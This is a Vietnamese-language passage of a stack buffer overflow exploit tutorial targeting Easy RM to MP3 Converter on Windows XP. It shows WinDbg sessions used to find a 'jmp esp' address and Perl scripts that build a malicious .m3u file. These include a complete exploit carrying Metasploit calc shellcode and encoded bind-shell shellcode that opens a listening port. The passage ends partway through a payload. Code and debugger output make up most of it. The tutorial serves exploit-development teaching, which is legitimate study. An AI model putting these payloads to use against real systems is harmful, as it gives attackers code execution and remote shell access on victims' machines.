  1. Tìm khoảng bộ nhớ trống để lưu trữ shellcode

Chúng ta đã điều khiển được EIP, giờ chúng ta sẽ chi tới một chỗ nào đó, nơi chứa code của chúng ta ( shellcode). Nhưng trong khoảng trống này, làm thế nào chúng ta có thể đặt shellcode ở tại vị trí đó là làm cho EIP nhảy đến đó?
Để làm crash ứng dụng, chúng ta đã ghi 26094 A vào bộ nhớ, chúng ta đã chi một giá trị mới vào EIP, đã ghi một loại C.
Khi ứng dụng bị crash, chú ý đến các thanh ghi và dump chúng ( d esp, d eax, d ebx...)  bạn sẽ thấy buffer của chúng ta ( chỉ gồm có A và C), giờ bạn có thể thay thế chúng bằng shell code và nhảy tới vị trí đó. Trong ví dụ của chúng ta, có thể thấy ESP trỏ đến C ( sử dụng d esp để xem), do đó ý tưởng là đặt shellcode vào phần C và yêu cầu EIP trỏ đến đó.
Mặc dù thực tế là cho dù ta thấy C nhưng không biết đó có phải là C ( tại địa chỉ 000ff730)  đầu tiên không. Trong thực tế, C đầu tiên đã được đặt vào trong buffer
Chúng ta lại thay đổi perl script và thay đổi phần mẫu. Ở đây tôi sử dụng 144 ký tự ( bạn có thể dùng nhiều hoặc ít hơn) thay thế C.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Tạo file và mở, quan sát ESP:
0:000> d esp
000ff730  44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47  DEFGHIJK2ABCDEFG
000ff740  48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b  HIJK3ABCDEFGHIJK
000ff750  34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43  4ABCDEFGHIJK5ABC
000ff760  44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47  DEFGHIJK6ABCDEFG
000ff770  48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b  HIJK7ABCDEFGHIJK
000ff780  38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43  8ABCDEFGHIJK9ABC
000ff790  44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47  DEFGHIJKAABCDEFG
000ff7a0  48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b  HIJKBABCDEFGHIJK
0:000> d
000ff7b0  43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41  CABCDEFGHIJK.AAA
000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
Bạn sẽ thấy có 2 điều thú vị sau:
  • ESP bắt đầu từ ký tự thứ 5 trong mẫu của chúng ta, chứ không phải ký tự đầu tiên
  • Kết thúc chuỗi mẫu bạn thấy A, những A này thuộc về phần đầu của mẫu (26101 A) , do đó bạn có thể đặt shellcode vào phần đầu của mẫu.
Nhưng chúng ta không đi theo cách đó. Đầu tiên chúng ta sẽ thêm 4 ký tự  ở trước mẫu và kiểm tra lại một lần nữa.  Nếu mọi việc suôn sẻ, ESP sẽ trỏ vào ký tự đầu tiên:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Ứng dụng lại crash và quan sát ESP lần nữa:
0:000> d esp
000ff730  31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43  1ABCDEFGHIJK2ABC
000ff740  44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47  DEFGHIJK3ABCDEFG
000ff750  48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b  HIJK4ABCDEFGHIJK
000ff760  35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43  5ABCDEFGHIJK6ABC
000ff770  44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47  DEFGHIJK7ABCDEFG
000ff780  48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b  HIJK8ABCDEFGHIJK
000ff790  39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43  9ABCDEFGHIJKAABC
000ff7a0  44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47  DEFGHIJKBABCDEFG
0:000> d
000ff7b0  48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b  HIJKCABCDEFGHIJK
000ff7c0  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Rất tốt!
Bây giờ chúng ta có:
  • Kiểm soát được EIP
  • Một vùng mà chúng ta có thể đặt shellcode (144bytes). Thực tế nó lớn hơn, lớn hơn rất nhiều.
  • Thanh ghi trỏ trực tiếp vào code của chúng ta, tại địa chỉ 0x000ff730
Chúng ta cần:
  • Một shellcode thực sự
  • Nói với EIP trỏ đến địa chỉ bắt đầu shellcode. Có thể làm vậy bằng cách ghi đè EIP với địa chỉ 0x000ff730
Bây giờ chúng ta sẽ làm trường hợp đơn giản. Ghi đè EIP với 000ff730, rồi 25NOP, rồi break, rồi NOP. Nếu thành công, EIP sẽ nhảy đến 0x000ff730, chạy NOP cho đến khi gặp break.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Ứng dụng “die”. Khi nhìn vào EIP, trỏ đến 0x000ff730. Khi dump ESP, chúng ta không nhìn thấy cái chúng ta mong đợi.
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff71f:
000ff730 0000            add     byte ptr [eax],al          ds:0023:00000001=??
0:000> d esp
000ff730  00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00  ........XJ......
000ff740  30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41  0.......AAAAAAAA
000ff750  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff760  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff770  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff780  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff790  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Do đó, nhảy đến một địa chỉ trực tiếp không phải là một phương pháp tốt (000ff730 chứa null byte - string terminator) Bên cạnh đó, việc sử dụng một địa chỉ ô nhớ để jump là không đáng tin cậy, nó phụ thuộc vào hệ điều hành, ngôn ngữ.
Nhảy đến shellcode một cách tin cậy
Chúng ta đã đặt buffer chính xác tại điểm ESP trỏ vào. Nói cách khác, ESP trỏ vào điểm bắt đầu shellcode. Nếu trường hợp đó không xảy ra, chúng ta cần tiến hành xem xét nội dung các con trỏ khác, và hy vọng tìm thấy buffer. Trong ví dụ này, chúng ta sử dụng ESP.
Jumming to ESP là kỹ thuật rất phổ biến trong ứng dụng windows. Thực tế ứng dụng windows sử dụng một hoặc nhiều file dll, và các dll này chứa rất nhiều mã lệnh. Hơn nữa, địa chỉ sử dụng bởi dll là địa chỉ tĩnh. Cho nên nếu tìm được dll chứa mã lệnh nhảy đến esp, chúng ta có thể ghi đè địa chỉ EIP bằng địa chỉ lệnh đó.
Trước tiên, chúng ta cần tìm những opcode “jmp esp”
Bạn có thể làm việc đó bằng cách mở Easy RM to MP3, rồi mở windbg, và hook windbg tới Easy RM to MP3. Chú ý không làm bấy kỳ điều gì với Easy RM to MP3. Điều này giúp windbg cho ta thấy Easy RM to MP3 nạp những module , những dll nào.
Khi gắn vào debugger, ứng dụng sẽ bị break
Trong windbg command line, nhập a (assemble) và enter
Tiếp theo nhập jmp esp và enter
Enter một lần nữa. Quá trình này khá lâu ( vì phải tải các symbol, bạn đợi đến khi không còn báo BUSY)
Tiếp theo nhập u (unassemble) rồi đến địa chỉ hiển thị lúc trước khi nhập jmp esp
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ffe4            jmp     esp
7c901210 8bff            mov     edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc              int     3
7c901213 c3              ret
7c901214 8bff            mov     edi,edi
7c901216 8b442404        mov     eax,dword ptr [esp+4]
7c90121a cc              int     3
7c90121b c20400          ret     4

Đến 7c90120e, bạn có thể thấy ff e4. Đó là opcode của jmp esp. Bây giờ chúng ta sẽ tìm opcode trong những dll đã được load.
Chú ý đến phần trên cửa sổ windbg:
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 004be000   C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
ModLoad: 7c900000 7c9b2000   C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 78050000 78120000   C:\WINDOWS\system32\WININET.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 00330000 00339000   C:\WINDOWS\system32\Normaliz.dll
ModLoad: 78000000 78045000   C:\WINDOWS\system32\iertutil.dll
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dll
ModLoad: 73dd0000 73ece000   C:\WINDOWS\system32\MFC42.DLL
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76080000 760e5000   C:\WINDOWS\system32\MSVCP60.dll
ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dll
ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
ModLoad: 774e0000 7761d000   C:\WINDOWS\system32\ole32.dll
ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 01fe0000 01ff1000   C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll

Nếu chúng ta tìm được một opcode trong dll, đây là cơ hội tốt để khai thác trên windows. Nếu chúng ta tìm trong một dll thuộc về hệ điều hành, chúng ta sẽ thấy rằng chỉ có thể làm việc với phiên bản hệ điều hành đó. Do đó chúng ta sẽ làm việc với Easy RM to MP3 dll trước tiên:
Chúng ta xem xét C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll . Dll được load giữa 01b10000 và 01fd000. Tiến hành tìm kiếm ff e4
0:014> s 01b10000 l 01fdd000 ff e4
01ccf23a  ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3  ....N..D$.......
01d0023f  ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff  ...M.....T......
01d1d3db  ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1  ..... ..........
01d3b22a  ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0  ......W.]...."..
01d3b72d  ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26  ...}..7...%#..J&
01d3cd89  ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf  ...5..o..J..0...
01d45c9e  ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb  ..\.....y.......
01d503d9  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01d51400  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
01d5736d  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01d5ce34  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
01d60159  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01d62ec0  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
0221135b  ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff  ..I ..I ........
0258ea53  ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8  ...X............

Tuyệt vời, không khác những gì ta mong đợi. Khi lựa chọn 1 địa chỉ, hãy chú ý tới NULL BYTE. Bạn nên tránh sử dụng null byte. Byte này sẽ kết thúc chuỗi và phần sau dữ liệu không thể sử dụng được.
Một cách khác để tìm kiếm opcode là:
“s 70000000 l fffffff ff e4”
Note: Có một số cách để tìm địa chỉ opcode
findjmp (from Ryan Permeh): complite findjmp.c và chạy với các tham số. metasploit opcode database
memdump
pvefindaddr, một plugin của Immunity Debugger
Từ lúc muốn đặt shellcode trong ESP ( để sau này EIP chỉ tới đó), địa chỉ jmp esp không được có null byte. Địa chỉ đầu tiên sẽ được lấy: 0x01ccf23a
Kiểm tra địa chỉ đó chứa jmp esp:
0:014> u 01ccf23a
MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:
01ccf23a ffe4            jmp     esp
01ccf23c ff8d4e10c744    dec     dword ptr +0x44c7104d (44c7104e)[ebp]
01ccf242 2410            and     al,10h
01ccf244 ff              ???
01ccf245 ff              ???
01ccf246 ff              ???
01ccf247 ff              ???
01ccf248 e8f3fee4ff      call    MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)

Nếu bạn ghi đè EIP với 0x01ccf23a, jmp esp sẽ được thực thi. ESP chứa shellcode, vì vậy chúng ta sẽ có một cách khai thác. Thử nghiệm với đoạn code “NOP – break”
Đóng windbg lại
Tạo một file m3u bằng đoạn script sau:my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);  

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc";  #this will cause the application to break, simulating shellcode, but allowing you to further debug
$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Kết quả thu được:
(21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff734:
000ff745 cc              int     3
0:000> d esp
000ff730  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff740  90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90  ................
000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00  ................
000ff760  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff770  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff780  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff790  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Chạy ứng dụng một lần nữa, attack windbg,  bấm g để tiếp tục, và mở file m3u bằng ứng dụng.
Ứng dụng break tại 000ff745, có nghĩa jmp esp làm việc tốt ( bắt đầu ở 000ff730, nhưng nó chứa NOP nên chạy tới 000ff744). Tất cả việc cần làm bây giờ là đặt vào một shellcode thực sự.
Đóng windbg một lần nữa.
Lấy shellcode để hoàn thiện exploit
Metasploit cung cấp nhiều payload cho chúng ta xây dựng exploit. Payloads có các tùy chọn khác nhau, tùy thuộc vào những gì chúng ta cần, có thể rất nhỏ hoặc rất lớn. Nếu bộ nhớ buffer có giới hạn, bạn có thể sử dụng multi-staged shellcode. Hoặc sử dụng shellcode thủ công (32byte cmd.exe shellcode for xp sp2 en). Ngoài ra, bạn có thể chia nhỏ shellcode làm các phần gọi là eggs, sau đó sử dụng kỹ thuật egg-hunting để reassemble – lắp ráp shellcode.
Chúng tôi muốn calc được thực thi. Payload trông như sau:
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

Perl script sẽ là:
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Đầu tiên, tắt autopopup trong registry. Tạo file m3u và mở bằng ứng dụng:
Boom!. Chúng ta có exploit đầu tiên.
  1. Có thể làm được gì nhiều hơn là chạy calc?

Bạn có thể tạo ra shellcode khác và thay thế calc shellcode với shellcode mới của bạn. Nhưng nó có thể không hoạt động được vì shellcode có thể được lớn hơn, vị trí bộ nhớ có thể khác nhau, và shellcode dài làm tăng nguy cơ có những invalid characters, cho nên cần chọn lọc
Giả sử muốn một shellcode: lắng nghe trên một port để có thể connect tới.
Shellcode trông như sau:
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";

Như bạn thấy, shellcode này dài 344byte, trong khi calc là 144byte
Nếu bạn chỉ copy và paste, bạn sẽ thấy ứng dụng bị crash:
Điều này rất có thể chỉ ra một vấn đề với kích thước shellcode (nhưng bạn có thể kiểm tra kích thước buffer, bạn sẽ nhận thấy rằng đây không phải là vấn đề). Hoặc có những invalid characters trong shellcode. Bạn có thể loại trừ các ký tự này với Metasploit, nhưng bạn cần biết ký tự nào được ký tự nào không. Mặc định, null bytes bị hạn chế, nhưng còn những ký tự nào khác?
Các tập tin m3u chứa filename, nên một cách lọc là loại các ký tự chứa trong filename và filepath. Bạn cũng có thể hạn chế bằng cách sử dụng một decoder khác. Chúng tôi đã sử dụng shikata_ga_nai, nhưng có lẽ  alpha_upper làm việc tốt hơn với filename. Sử dụng encoded khác có thể làm tăng độ dài shellcode, nhưng như đã thấy, kích thước không phải vấn đề quá lớn.
Chúng ta sẽ thử tcp shell bind,sử dụng alpha_upper encoder, lắng nghe trên cổng 4444. Shellcode này có độ dài 703bytes
# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
